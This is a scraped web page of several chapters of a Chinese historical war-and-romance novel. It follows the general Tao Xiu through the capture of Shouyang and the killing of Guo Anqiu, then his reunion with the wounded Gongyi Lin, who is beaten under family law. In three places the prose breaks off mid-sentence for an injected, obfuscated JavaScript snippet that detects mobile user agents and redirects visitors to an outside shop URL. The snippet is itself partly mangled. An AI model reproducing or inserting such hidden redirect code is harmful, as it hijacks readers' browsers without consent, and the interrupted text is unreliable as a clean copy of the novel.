昭明大宝剑虽没有参与当年的锁秦关一战,但陶修继承昭明王的英武之姿,滚烫的剑柄灼烧手心,一根根向他刺来的兵器在宝剑下斫断,撞过来的战马四脚仰天,最后又只剩下谯真一人与他面面相对。 “这小子真阴魂不散,”从军二十多年,谯真还没见过如此好斗、好战的年轻人,究竟是哪里冒出来的如许的人物,此前为何从没听过他的大名。 “今日必杀了你——”谯真怒目切齿,提枪杀过去。 想杀陶修的想法太盛,眼中就只有那年轻人一言不发冷冰冰的脸,还有那条果然挑衅人的红色绸带,完全忽视他身后似罗刹一样可怖的胡峤。 谯真哪是陶修和胡峤的对手,在两人前后夹击下,谯真一连伤了三处,左臂血流不止,背伤有漏风的清凉,左眼视野模糊,连耳朵也听不清部下急促地哀求:“谯将军,先撤吧,留得青山在不愁没柴烧,先退出柳池。” “再言退缩者死。”花白的髭须上溅了血迹,在金色的落日光照下闪闪发亮,谯真大口喘气,骑马的双腿酸疼难忍,还在做最后的坚持。 陶修一向敬佩老将,开口对他说了第一句话:“谯将军,胜负已定,愿降我大陈吗?” “我谯真绝不做降将。”话音刚落,岸边忽传来一阵得胜的呼喊,是张城、周石的水师击败周军后上了岸。 再宁死不屈的人,也不忍带将士们一同赴死,谯真遥望败掉的战场和夕阳在河面上掠过的最后一抹金光,嘶吼一声撤军。 奔溃的周军很快从河面撤出柳池和常胜营。 直到最后一名败军从视野消失,陶修才从马鞍滚下来躺在地上,四肢大展,闭上眼吭吭地笑了两声,惬意放松地躺了一瞬,再睁开双目挣扎着坐起时,湖面的金光彻底消失,落日下沉,激战后的河面重归平静,只有狼狈的浮木、舟楫横七竖八飘在水面上,落了一湖的暗影。 张城向他伸出一只手,把他从地上拽起来,松开手后陶修依然歪歪斜斜站立不稳向前倒下。张城抱住他的腰扶稳双臂,笑说:“这副样子还没变,和当初杀漳南的彭枝礼一样,杀人时亢奋激烈谁都赢不了你,事后就瘫成一堆泥。” “还没有斥候带回鲁将军那边的消息?” “天都黑了,应该快有消息,你先歇一歇再操心别的事。” 陶修拨开张城和周石走向离得最近的战马,“歇不了,能否拿下寿阳直接干系此次夺淮的大势,我亲自去必胜营。”他翻身上马问在场的将士:“还有余力者可跟我走。” 162.杜毅是谁所擒 寿阳那边,鲁云渊的三万多水、陆师及轻骑兵齐上,把寿阳城围得水泄不通,持续奋战一天,双方死伤无数,城池却久攻不下。 前几次主动迎战的贺功臣虽输了两场,但坚守城池的经验却十分丰富。他一面调遣善胜营的人马在城外搞突袭干扰陈军攻城,一面层层加固城内布防,强弩、投石车对城下多如蚂蚁的敌人疯狂发射,滚油、金汁浇的人惨叫连连。 陈军的冲车轰隆撞向瓮城的城门,换下一波又一波的人,弓弩亦射死无数敌军。 两方的战斗相持不下,陈军对此城的严密布防已经举步维艰,激烈的战火直烧到天黑都没找到敌人防守薄弱的地方。 陶修赶到鲁云渊处时,给他带去这几日来唯一振奋人心的消息——常胜营的战败,但随之而来的坏消息又接踵而至。 周军的援军到了。 暂时收兵回寨,鲁云渊踱步于营帐中,焦虑、烦躁的情绪把那张黑里透红的脸捉弄得越发粗糙,几次问身边部将:“到底打探到没,领军者是谁?” “将军,请稍安勿躁。现是深夜,敌人不敢行军,我们已在大营四围严密防守,有足够的时间应对敌人的援军。” 鲁云渊转向陶修:“你的人能否守住刚拿下的柳池?” 陶修道:“将军无需分神担忧柳池,张城、周石能守住阵地。” 兵营各个角落的火盆都还在熊熊燃烧,把深夜照的透亮,也把今夜的危险驱走几分,来回巡逻的列队踩踏出锵然的足音,无人敢在往常已睡时刻闭眼歇息,都戒备地盯着篝火之外的黑夜,生怕那千军万马从暗中突袭而来。 大帐里等待消息的氛围紧张、压抑,许久之后,终于有两名刺探到敌人军情的斥候跑进大帐,气喘吁吁对鲁云渊禀报:“敌人援军将近四万,统领这支兵马的人是肆州郭岸秋,现驻扎在离此六十里远的彭山,敌军防守如铜墙铁壁,暂时无法打听到骑兵数量。” “肆州刺史郭岸秋?”鲁云渊的双手负于身后,听到这个名字下意识咬紧后牙槽,震惊于援军数量之盛,也惊于来的敌手竟然是郭岸秋。 这时,曹飞扬爽朗地笑一声,搅散大帐里人人不敢吭声的凝重气氛,对鲁云渊道:“这个郭岸秋的兵马要是奔钟离去就有意思了,征北卢将军等的就是这一日,看来郭岸秋深惧卢将军啊。” 鲁云渊“哼”一声,把对郭岸秋的厌恶和恨用鼻腔的后音展露给众人,冷声道:“碰上我,他一样是死。” 陶修从未听过郭岸秋的名字,也不明白眼前两位将军提到的是哪场战争留下的仇恨,他脸上流露的疑惑被鲁云渊捕获。 急躁到一定程度的鲁云渊终于缓缓落座,若有所思地盯着陶修,开口问:“打这场仗,你及虎兕军的出现令我非常意外,听说梁城的杜毅也是被你所擒?” “我只是奉将军您的口令去增势,夺下梁城还是临川太守公仪檀手下的精兵勇将。” “说话拐弯抹角,杜毅是谁所擒?” 陶修大声道:“我!” “虎兕军打仗的能力我见识过,明日起,我另调一支先锋军给你,冲锋陷阵、撤军掩护就由你的先锋军负责,你是否能担此大任?” 陶修诚惶诚恐,“我经历沙场的经验远远不够,这几次小胜多少是运气使然,将军托我重任,我深恐……” “不要推脱,此事就这样定了,先锋军的兵马就将驻守柳池的虎兕军调过来。” 其实鲁云渊也想试试这个年轻人打了三次胜仗究竟是运气还是本领,他相信是后者,若真是后者,那先锋军的位置非他莫属,有能力的将帅能减少太多伤亡。 “看你刚才的表情,是不是不知郭岸秋是何人?” 陶修从愣神中还醒过来,忙回道:“第一次听,难道是个棘手的对手?” “你曾在卢将军的沧澜队待过,应该听过卢思苌有位恩师吴老将军,吴老将军就死在郭岸秋的刀下。” “我略有听闻,吴将军最后一次是水上撤军,因河道堵塞狭窄无法行船,造成军心溃乱,吴将军也因此捐躯战场。” “斩杀老将军的人就是郭岸秋。当年郭岸秋也如你这般年轻,少年英勇所向无敌,正是想立功的时候,吴将军确实给他换来今日的地位。卢思苌无一日不想亲自杀了此人为师报仇。” 曹飞扬道:“想必这十年卢将军的恨意已传至郭岸秋耳中,显然他刻意避开钟离绕路到寿阳来。”听过陶修是吴郡军户出身的曹飞扬,无法藏住对此人厌恶的表情,接着又玩笑一句,“卢将军对你也有恩,何不抓了郭岸秋给征北将军送去?” 陶修听而不闻,不搭理此人,对鲁云渊道:“陶修愿做先锋军的都统。” 郢州萧钰 周国派出的向郢州进发的第四路大军借路梁国出现在郢州边境时,萧钰刚得到卢思苌的军队一路攻无不克夺了周国许多城池的消息,他与心腹将领商议要不要趁此机会以陈国之名主动向周开战,尤其他得知周军从梁国腹地招摇过市声称借道伐陈的行径,萧钰勃然大怒,下了与之决一死战的决心。 与他同时怒不可遏的还有基州的萧瑛,因为这路大军就是漫不经心从基州入境梁国,又堂而皇之利用梁国的辎重,声称扫除陈国的威胁外再替梁国清理掉萧钰这个叛国之人。 一心要借陈国势力摆脱周国掌控的萧钰,果断与周国的军队开战。 这场战争,夹在中间的梁国一直忍辱负重,出力出物攻打自己布下的棋子萧钰,梁主从陈国北伐的脚步中还看不到希望,尚不敢和周国撕破脸。 天顺四年的八月,陈国各路大军夺淮的进程停滞不前毫无进展,三国在盛夏的酷暑中僵持、煎熬数月,战不能战,退不能退,四五个月来一直维持住了战力上的平衡。 这几个月,虎兕军威名远播,不单是这支军队在沙场上作战勇猛、连连粉碎贺功臣和郭岸秋对必胜营的突袭,还因军队纪律严明,与民无犯。 百姓听说虎兕军的都统曾是军户出身,区区贱户走到今日如雷贯耳的地位,令无数与其相同出身的将士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938370|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和百姓都多了希望和钦佩,似乎在战乱不休的日日夜夜里看清几分清亮的方向。 从三月至八月,从春到初秋,漫长五个月的对峙,打过几次阵容不大的仗,贺功臣和郭岸秋不敢对陈军大举进攻,不单是因为鲁云渊作为陈国柱石般的雄武位置,还因他们都被叫陶修那个年轻人打怕了。 虎兕军升级为先锋军后,军容气势更比从前庞大锐利。 第一战,小瞧了虎兕军的郭岸秋派出三千精锐步骑要灭陈军威风,哪晓万军之中,竟杀出一个似有罡气护体的少年人,领着洪流巨石的千军万马,脚踏浑厚的鼓角之声,铁马金戈,汹涌而来。 陶修的兵马把郭岸秋的三千精锐几乎杀尽。 这一胜,给了陈军巨大势气,日后的每一仗都在胜,陶修迅速成为大陈有史以来最令人遐想的少年英雄,虎兕军因他日益壮大。 建康的公仪林会最先得知前线的战况,在寿阳、钟离两处无法进军的不好消息后面,往往还有一两句显然是安慰陈主和朝堂支持北伐一派的好话:两军暂时相持不下向北推进困难,但我军中的先锋队从未有过败仗,敌军惧怕先锋队的骁勇拒不出战,亦不肯退兵…… 起初,公仪林并不知先锋队是何人率领,直到有一日陆颢收到同僚从寿阳来的书信里提到先锋队的战绩及叫陶修的人三战出名后,他迅速将此之前的所有紧急文书再翻一遍,那些短暂的一两句话后面从没有人提过陶修名姓,但几乎都是他的威名稳住了暂时的平衡。 公仪林能想象到陶修浴血奋战、不惧生死的模样,他终于在沙场上找到立足之地,找到了他存在的价值。可公仪林无法平息内心的跳动,他想见陶修一面,想把他拉出火海控在身边,或是与他患难与共,总之,绝不是现在这样,站在石头城的城墙上眺望平静的江水百爪挠心地惦念一个人,显得他非常无用。 四日后,右仆射陈颛、中书令公仪达上书陈主,分析攻伐寿阳、钟离的两路军停滞不前的危害,战争持久不仅消耗国力,将士们已错过夏收,即将到来的秋收也会触动士兵厌战思家的情绪,二人联名上书请求朝廷派大军驰援卢、鲁二军。 八月下旬,从建康出发的六万大军分两路浩荡出发。 左卫蒋授领三万兵马增援寿阳,右卫公仪林率三万直奔钟离,武卫陆颢驻守京城。 自开春来两军战况已胶着近八个月,人疲马乏,双方全无斗志。建康大军开赴至漳南后,贺功臣和郭岸秋再也不能淡定与之消耗下去。 陶修从鲁云渊处得知公仪林终于以右卫身份奔赴疆场,先是咧嘴笑了半天,后又蹙眉忧虑,公仪林该守卫在大江的最后一道防守线上,不该过早去到前线。 陶修不想这残酷的疆场上有他的身影,他该是在盛世太平下做贵公子的人。 自正月一别,过去八个月了,频繁的战事使人身心俱疲,连夜深人静的思念也少了,那小子知道后肯定又要炸毛的闹一通,陶修以为他会率军到寿阳,没想到去了钟离,连个哄他的机会都不给。 163.你会不得好死 贺功臣和郭岸秋连收三道朝廷下达的诏令,必须死守住寿阳。 迫于压力,二人在陈军的援兵未到之前已分别于常胜、善胜二营摆开阵容做最后一战。 蒋授的大军到达寿阳与鲁云渊兵合一处,迅速制定作战计划。 两军在郊野的旷地对阵,大战在即,出战的鼓声直冲苍穹。这场决定胜负的一战,周捍卫寿阳的稳固,陈欲夺回旧土,双方把全部兵力倾注战场,除了那压阵的督战队,但凡拎得动刀的都上了。 陶修依旧走在最前面,身着简单的裲裆护甲,背长剑,戳出长枪高声向敌阵喊话:“来者可是郭岸秋?” 敌阵一小卒代为回话:“郭将军说了,不与叛国忘义者搭话,他不配。” 张城从陶修身后上前一步,怒气填胸,请命道:“城主,这一战给我打头阵,我必把姓郭的押到你跟前,撬开他的嘴,看他有多硬的牙齿敢不跟你说话。” 陶修没把小卒的嘲讽放在心上,目视敌阵,从容不迫地下了一个承诺:“我要给卢将军一份大礼,他的嘴对我没有作用。” 抽出身后长剑,摩挲“林修”二字,眼神软下几分,千里之外的钟离,那人此刻亦在浴血奋战。 城主打仗干净利落,专挑敌方的“王”下手,既狠又快,他冲锋前一向心无旁骛,绝不关注战事外的事情,此时神态显然是在担忧另外一人,张城心知肚明,指向不明地说了句话:“放心,没有本领他也不敢带兵打仗,何况还有卢将军坐镇。” “刀剑无眼,他好勇好胜……”说了半句才发现被张城套了话,爽朗一笑给话头揭过去,随即沉下眼眸紧盯前方,稳声道:“跟我进战阵。” 没有战前的润色——单打独斗,陶修和张城直接率先锋军冲进敌阵。 陶修远远见到帅旗下的郭岸秋,是个轮廓英武的男人,正来回插拔腰侧的利刃,看似气定神闲,眼睛却锐利地盯着阵中那抹鲜红的影子。 郭岸秋与陶修在战场已交手过两次,两次都打了平手,若认真评判起来,其实郭岸秋两次都输了,是他先胆怯撤军回城,回望那张面孔气势正盛的年轻人,想起当年抓到陈国老将吴将军时,也是这般奋勇,他从吴将军身上好似已看见自己青云直上、加官进爵的前景,毫不手软斩下吴将军的头颅。 杀了吴将军之后,郭岸秋万万没想到,老将军的身后还有个视他如父如师的部下卢思苌,这些年为报仇,卢思苌可谓用尽阴暗手段,光派人暗杀就达四次。 郭岸秋这十几年担惊受怕到阴鸷多疑的地步,看谁都像不怀好意,现在虽位至刺史,始终活得没那么痛快,早知日子过得这样辛苦,当年那一刀就留给别人。此次周主下令发兵,不但要翦掉陈的雄心,还欲顺道平定江南,如此立功的好机会,郭岸秋却主动请缨来寿阳,避开卢思苌的恨意。 哪晓,到了寿阳还能碰上卢思苌的爪牙。 此人比他想象的要狠,仿佛那一剑斩的是他祖宗,次次对阵都高喊“郭岸秋出来”,听说这个叫陶修的身负绝技,尤其热衷“杀敌擒王”,只要他锁定的目标,火海刀山也敢闯上去,这就算了,他身边又有个无人能敌的杀人狂魔,二人搭档起来简直所向无敌。 战事已耗了五六个月,双方退无可退进无可进,此次必要决一死战。 直至阵中的陶修杀至精疲力竭,郭岸秋终于翻身上马掠入阵中。 郭岸秋手提长枪直奔陶修而去,怒火、恨意、驱敌,逼得他目眦欲裂,来此数月,寸功未立,今日一定要杀个牙将打打牙祭。 他的马离陶修尚有一段距离,忽从乱军中杀出胡峤。 胡峤知郭岸秋的意图,挥舞双刀与他过了几招,嘴损的与之怼了两句:“城主要亲自杀你,我就把你的命留给他。” 话外之音是,我想杀你便杀,但今日我得把你留给城主去杀。 郭岸秋怒气冲天,从未受过如此挑衅,骂道:“匹夫敢蔑视我!” 两人在血腥的沙场斗了半天,胡峤见他力乏,飞速丢下郭岸秋朝陶修狂奔而去,高喊:“城主,郭岸秋交给你了。” 这场惊天泣地关乎两军存亡的战斗已血流成河,若陈军赢则占据寿阳,把北伐的目标实现大半,若周国胜,不但护住原有疆土,更能向外拓土、蚕食陈国长江以北的疆域。 一直稳坐在帅旗下的鲁云渊终于披坚执锐下到阵中,与贺功臣展开殊死搏斗。 沙场烟尘大起,狼烟遍地。 这场数万人的战场死伤无数,尸横累累,如同连接地狱的甬道,血腥残忍,鬼哭狼嚎。 陶修双手沾血,分不清是多少人的血,面对此残酷的人间炼狱,他一步一步走向郭岸秋,不搭话,挑起枪尖。 郭岸秋被他冷漠的双眼震慑,那是一双要置自己于死地的眼神,何时卢思苌竟炼了这样一把利刃。 几个回合下来,郭岸秋就力不从心,在胡峤身上消耗的体力太大,此时更不是陶修的对手。回望阵中浴血搏杀的贺功臣,不敢有撤军的念头,何况,寿阳若丢看,恐怕回去也是个死,只得再战! “都说你疆场上独爱‘擒王’,给我看看你的手段。”郭岸秋怒瞪双目,嘲讽道:“听闻你是萧梁世子,一身本领却货于大陈,做了叛国之贼。” 陶修抹去脸上血迹,吐净口中尘土,冷漠地回道:“这是我走的路,任你们说去,不过今日我厌倦这满地死尸,只能借你人头一用。” 这场大战从巳时直打到申时,偏西的日头照下金色残光,不远处就是辽阔无际起伏翻涌的稻田,金黄金黄一片,一条河和一道高耸的土堆把战场和稻田隔开,一边喧嚣,一边宁静。 弥漫不息的狼烟尽释在清冷的秋风里,堆砌的尸骨与土堆齐平。 陶修把郭岸秋掀翻在地,自己也从马上跃下,掣出森冷的昭明王宝剑走向敌军主帅,没有犹豫,没有彷徨,得心应手,仿佛他天生就要干这件事,对闭上双目等着就死的郭岸秋说:“要怪就怪这不得太平的世道,怪你我不同的立场,怪流血成渠的惨状,我只想快点结束这一切。” “杀人无数,还如此虚伪,你也会不得好死……” 郭岸秋的最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036805|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一句话似乎没有说全,虚弱的尾音陡然被风吹散。 剩下的事就如陶修所预料的一样,将帅一死,敌人丢盔弃甲,撤军的浪潮逐渐掀起,他们哭丧着跨过土堆,践踏金色稻田,趁着暮色紧急奔逃。 他们把宁静祥和的秋日搅乱,狼狈逃窜后,又留下一片寂静。 自此,寿阳改姓陈,被曾经的齐国占据二十年又落入周国手中十一年的旧城重新又回到大陈的手里。 对峙八个月之久的争夺战完美落幕。 其余时间就是安抚投降士卒和寿阳百姓。 装着郭岸秋人头的匣子被传送至钟离卢思苌处,卢思苌仰头大笑,祭洒三杯浊酒,终于能给敬仰一生的恩师一个交代。 他对公仪林说:“没想到我多年未报的大仇被曾经的部下完成,如你们再见面,代我向他言说我的敬意。” 这颗头颅几乎与公仪林的大军同时到达钟离,欲施展抱负的右卫望着心爱之人的“战果”,既向往又感慨,攥紧腰间雄剑,他要右卫的威名能与陶修一样响遏行云,被百姓津津乐道,他们提起陶修时,能顺便带上自己,那样,方觉得没被姓陶的丢弃。 钟离城近在咫尺,难以攻下,卢思苌似有遗憾,用只有公仪林才能听见的声音说:“当初不识此人本领,未能将他收归麾下为我所用。” 否则,攻打钟离可能就没现在这般困难。 公仪林道:“几场大战将军胜多输少,现在两城对峙,敌方早露胆怯,赶赴来的援军也被将军击败,将军为何还满面愁容?” “这场仗持续九月之久,迟迟拿不下钟离,军士思家心切,虽粮草供应不缺,但守在此小城虚耗军力不是长久之事,眼看天气转凉,真持续到天寒地冻时于我军万分不利。” “我今领军而来,钟离势在必得,愿听将军调遣!” 至十月,陶修收到两份捷报,一份是卢思苌和公仪林攻下钟离的消息,据说那是累尸城下、血染护城河、踩着尸体攀登城墙的一战,那日大雨倾盆,天地苍茫,雨淋白骨,主帅卢思苌头部中矢,左眼彻底失明,在夺回的城中一连休养半个月才能从床上爬起来。 右卫公仪林的大名正如他所愿,只一战便名扬全国,都说他身负八支箭,依旧拎着宝剑冲阵击杀,一身银铠变得通红,倒下那一刻,还把钟离郡守的头颅抱在怀里。 攻城的两大主帅卢思苌卧床不起、公仪林昏迷不醒,率军进城的是飞燕营的李长风,他坐在两人中间连守多日,直到他们意识清醒才将捷音传至京城。 另一份捷报来自郢州,萧钰也打了场漂亮的仗,把周军的三万人马斩杀在城外。 自此,寿阳、钟离、郢州三处皆大获全胜。大陈终于把先后丢失在齐、周手中近二十年的疆土收复回来。 陈主于秋分时举行祭告大典,祭宗庙告先祖,庄重严肃的脸上藏不住洋洋得意,对着先帝的牌位朗朗有声:“朕已实现先帝毕生夙愿,有这些忠心耿耿誓死效忠的文臣武将,朕还要继续北伐,让大陈疆域达到前所未有的辽阔,山川相连,纵横万里。” 164.给你看我受刑 战后,陶修协助鲁云渊处理寿阳诸事,对百姓的抚谕、接纳降将、稽查户籍人口等事耽误太多时间,他不知自己是哪来的毅力能抗住日日的煎熬,终于在一个严寒清冷的早晨向鲁云渊辞行,他带上胡峤,快马加鞭先是赶去钟离,却在钟离扑了空,钟离郡守说王师一个月前就已悄然撤回京城。 “他们走的时候,右卫将军伤势如何?” 大陈新任郡守见这年轻人风尘仆仆,满脸焦色,将之拽到一旁,添油加醋把刚崭露头角的右卫吹嘘一番:“公仪右卫实在令人钦佩,八支箭啊,八支,险些没挺过来,李长风将军命人给他下了几通猛药,才把他的命给吊着,直至要回京才能开口说话。” 陶修魂不守舍离开此城,连夜赶赴建康,这一路上没有歇息,没有夜宿,换过一次马,胡峤一声不吭跟在后面,只有在城主的脸色快忧郁的冒黑气时才安慰一句:“京城好的医工大把,那位公子定会吉人天相。” 连没嘴的葫芦都这样说了,那小子肯定没事,陶修点头道:“嗯,他确实自小就得天独宠,说不定早就耀武扬威了。” 他把所有神佛都在心里过一遍,祝祷公仪林恢复如初。 十一月第一天的夜晚,在浸骨的寒意里,司子站在绒华院的门前迎接陶修,迎接他曾经讨厌、鄙夷过的人,他从未像今日这样喜欢过陶修,感激、庆幸公子能有这个爱人,他也明白唯有此人能拯救奄奄一息的公子。 “陶公子,你可来了——”司子眼眶湿润,哽着喉头不知该说些什么,院中冬日的凋零因陶修的到来逆回暖春。 “带我去看他。” “公子绝想不到你能来。”回京这么久,司子发现公子一次都没有提起过陶修,但那双无神失望的双眼骗不了人,他总觉得公子在赌一口气。 屋里掌了一盏油灯,又小又弱,把屋子衬出几分萧条的静意,陶修记得公仪林从不怕浪费灯火照明,喜欢把满室照得灯火通亮。 “这些天医工都弄不清他是睡着还是昏迷,今日又沉沉睡了一天,晌午醒来时也总发呆,他回京第二日强撑身体领了圣旨,晚上又呕血一盅,几位医工根本找不到他的病症,刀剑并未伤及脏腑,可我们束手无策,眼睁睁看他这副模样。” “你出去吧,这里有我。” 陶修在床前守了一夜,抚摸公仪林清瘦毫无血色的脸说了许多话,还有这些天没能及时赶来的愧疚。将至天明时,他实在耐不住五六天的奔波,也歪倒在床上。 难得一个明媚清宁的早晨,朝霞从高高的天窗射下一缕金色光芒,尘埃在光影里肆无忌惮地跳跃,廊下的鸟儿啁啾不停,似有所感,公仪林不觉得它们吵闹。 司子把粥和药同时端来,侧坐在床边,扬着滚烫的粥,声音既平静又漫不经心,“公子,把粥吃了,我带你去见陶修。” 公仪林缓缓把目光从那缕晨光上收回,侧过头望向司子,无声无息。 “你没听错,昨日深夜陶公子来了,守你至天明,就睡在隔壁。你别激动,他大老远跑来,浑身又脏又累,还不能见你。他也不想看你这副样子,把饭吃了,我带你去。” 不需人扶,公仪林自己坐了起来,那一场大战中所有的伤口都不足以让他躺下去。 初冬的薄雾已消散,还能闻见被霜打过的一地菊花散发出的清香。公仪林换上最衬肤色的红色直裾,腰束得笔直,终于推开那间他常去静坐的房间,有时候坐在案前回想陶修在这间屋里说的话、做的动作时,他很能体会萧王妃在翰墨小院苦守的十六年,那是一样的情感。 果然赶了路,脸上都是灰尘和划痕,放在被外的袖子还是脏的,眉头锁出了两条沟壑,里面装着担忧和焦虑。 又是一年不见了啊。 这人从何时起,就不再是玉河村坐在绒花树下的少年了,他命运轨迹的改变是从何时开始,为何常如此狼狈? “康乐哥!” 只轻轻一声,陶修就醒了。 他们膝对膝跪在一起,抱在一起,没有避讳旁人。一向容易动情的公仪林流下两串苦涩的眼泪,把脸埋在陶修的脖间抽噎两声。 陶修的肩头很暖很踏实,有他熟悉的味道,赌气这么久,抱到他这一刻所有的愤怒和怨恨居然顷刻就无影无踪。公仪林朝陶修的肩头咬下一口,迟迟不肯松嘴。 嘴里的人颤抖一下,闷哼出声,转为默默忍耐,许多才问:“你为何哭?” 陶修这句问话可把他问住了,为何哭?难道一年不见不值得哭一场,难道我在疆场射成刺猬不值得哭,夜深人静浑身疼痛无人诉苦时不能哭? 诸多委屈汇成一句关心:“康乐你瘦了很多?” “那段时间街头巷尾都在议论右卫抱着钟离郡守的头颅赴死一事,你不知我多煎熬。” 搂抱的双臂又紧了许多,终于开始置气:“即便知道我要死了,你来得还是很迟。” “怪我,我真的很想快点来见你,很想。”陶修把他的手按在心口,没有过多的解释,公仪林都信。 司子慢慢退出房间,不敢再听下面的话。 陶修留在绒华院有一些时日了,为弥补近一年来的亏欠,对公仪林百依百顺,亲自下厨、奉汤端药,终于把小命丧了半条的公子救回来。一日,身体逐渐好转的公仪林突然问他:“近来我见你脸上好看很多,能不能扛住几下棍棒?” 陶修疑惑地看着他,他只笑而不语。 离元旦还有八天,大陈边疆的局势稳定给节日气氛添了一笔浓重的颜色,整个城中热闹非凡,灯火炫丽辉煌。在此户户张灯结彩等着跨年关时,公仪大府来人了。 清晨洗漱那会,公仪林替陶修戴上帽冠,帽缨的红绳从下颌曲过,在下巴打了一个漂亮的结,盯着陶修的脸端详片刻,在他唇上落了轻柔一吻,又给自己换上一件绛红色鹤氅,而后跟平常一样坐在廊下逗弄鹦鹉。 陶修很快注意到公仪林与往日的不同,那小子的话突然变少,心不在焉撕了半天的枯菊。 等了一天,公仪林终于等到那边的动静,起身拍掉衣裾上厚厚一层菊瓣,深吸一口气,对埋头在书里的陶修邀道:“康乐,走,见族长去。” 话音将落,门外走进来公仪鸾和公仪白鹤,二人面无表情,对身后大仆挥手,立即上前两人,手拿粗绳,三下两下就把公仪林捆个结实。 公仪鸾转向惊愕中的陶修,纠结犹豫半天,叹口气道:“陶城主也一块走吧!” 马车摇摇晃晃、颠颠簸簸,陶修已猜到他预感的事,就这样吧,迟与早总要面对,就是不懂这样生死不明的一日,坐对面一言不发的公仪林为何还一身红衣。 他脸上仅剩的病容被深红色鹤氅映得白里透红,眼角顺便也蹭了点喜色。 公仪家的祠堂在汝丘,为方便祭祖,这边也建了一间,不大,但祖宗牌位一个不缺,堂内森然清冷,浓厚的香火熏得屋里烟雾缭绕,好似牌位下永远闭了嘴的祖宗都要借着迷雾跳出来看热闹,看看这特立独行、剑走偏锋、别开蹊径的后辈如何在棍棒下哀嚎求饶。 祖宗们记得好戏在六十年前上演过一次,那次,公仪家的男儿直接被打瘸了一条腿,不过行使家法的长棍并没有改变结果,那个男儿依旧娶了寒门女子。 是女子也就罢了,偏偏今日的戏更有趣。 只一棍,膝盖着地,公仪林想起十五岁挨家法的场面,与今日的截然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043850|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不同。那时候围观的族人都是“乡巴佬”,无所事事年纪一大把且又说话有分量。此时环顾四周,列在两旁的皆是同辈兄弟,个个黑着脸,为家族出现的异类疑惑不解、扼腕叹息。 他们那副表情,不知道的还以为堂弟今日就要死在祖宗们眼前咧。 陶修在哪?他们为难陶修了没,他在人群里没看见他。他从公仪达眼中没看见“大失所望”,也未显露出家门不幸的怒不可遏,大伯比他想象的要平静。 “我早就发现,你是众多兄弟当中最大胆,最不听劝的一个,但也是我寄予厚望最深的一个。”公仪达立在祠堂正中,不怒自威,命令道:“先把头磕了,你的可恶行径有辱门风,别说你父母兄长都不在,就是他们在此求情,我也不会饶恕你,莫要觉得今日的家法委屈了你。” 他掷出打磨的油光滑亮的刑棍。 公仪林抽出闲情瞄了几眼刑棍,比汝丘那根窄一点、厚一点,看来这边祠堂复制的不够精准,打在身上会更疼吧。 “公仪家风正派光明,何时出了你这个不知羞耻的畜生,玩归玩闹归闹,你这副一根筋固执到底的行为不值得家法宽恕,我再问你一次,身上的恶习改不改,肯不肯回头?” 昨晚,伯侄二人已在一盏油灯下“促膝长谈”过一次,暴怒的公仪达大骂他畜生时太过激动,喷出的唾沫当场把油灯淹灭了,公仪林笑出了声。 失去理智的公仪达在他头上砸下灯座,鲜血从额头爬至下巴,也预示着两人的谈判失败。 公仪林盯着髹了层清漆的刑棍,满不在乎的口气:“准备打哪里?” 族长还不死心,强势一辈子的人藏不住不肯服输的暴戾,继续问:“你在祖宗牌位前发誓,今后与陶修断绝关系,我就当此事从未发生过。” “上回打的是两股,这次换个位置吧,腰和背如何?” 是他扎成刺猬时伤的最重的两个地方,是他不屈的反抗、死不认错的执拗。 “打的时候别让陶修看见。”那人嘴硬说很好奇公仪家的家法、好奇被打的公子会多狼狈,其实还是在担心吧。 “还有心思管别人,他也逃不掉。” 公仪林双眸陡然发亮,而后低下头吭吭笑两声。 你们敢用家法打他,就是承认了他,今日我不怕你们打。 这一笑,彻底激怒老族长,折断手中待焚的香烛朝地上一掼,“打,往死里打,就打他甘愿挨棍的地方!” 动手行刑的人是公仪达身边持剑二十年的丰尧,魁梧、壮硕,满身胆色,他略拱手做了个“对不住”的手势,在众人都还没准备好“观赏”时就落下第一棍。 所谓土崩瓦解说得就是此刻的躯体,公仪林吐出一口血,身子前倾倒了一个角度,撑着左臂又重新跪好。 刑棍接连落下,笔直不屈的脊背渐渐弯曲,一口一口的鲜血把雪白的里衣染得刺目骇人。 “丰尧——”公仪鸾把拳头捏得咔咔响,怒瞪行刑人。 “你娘的是不是跟他有仇啊,下这么狠的手?”可惜公仪鸾敢怒不敢言,咬着嘴,默默心疼这堂弟。 公仪林攥起拳头无声忍耐,在丰尧歇息的间隙大喊道:“打啊,继续,打到族长解气,打到家族不因此事而蒙羞,打到祖宗不以我为耻。” 不知打了多少棍,也不知丰尧的忠诚做到哪种地步,公仪林终于从不惧风雪欺压的青松变成躺在地上的死狗。 